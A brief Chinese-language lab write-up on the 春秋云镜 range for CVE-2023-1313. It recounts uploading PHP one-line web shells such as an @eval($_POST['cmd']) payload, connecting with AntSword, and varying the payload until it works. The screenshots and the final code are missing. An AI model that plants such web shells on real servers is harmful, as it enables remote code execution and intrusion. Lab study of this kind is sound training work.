春秋云镜 CVE-2023-1313(*)

对于我们上传一句话木马：

<? php @eval($_POST["cmd"]);?>

会出现这个错误：

我们用蚁剑连接返回是空的

我们上传这个代码：<? php phpinfo();?>     

下载看一下

如何我这样上传一句话木马：<? php phpinfo();@eval($_POST["cmd"]);?>     

下载看一下：

跟第一个一样，你用蚁剑连还是不行

那我这样改代码：

下载后查看一下：

就成功了

至于为什么想到把php这三个字去掉，这也是我反复尝试弄出来的，因为我用一句话木马将php这三个字符去掉下载后的文件是空白的，这就形成了对比；我又将phpinfo函数把php去掉结果是一样的。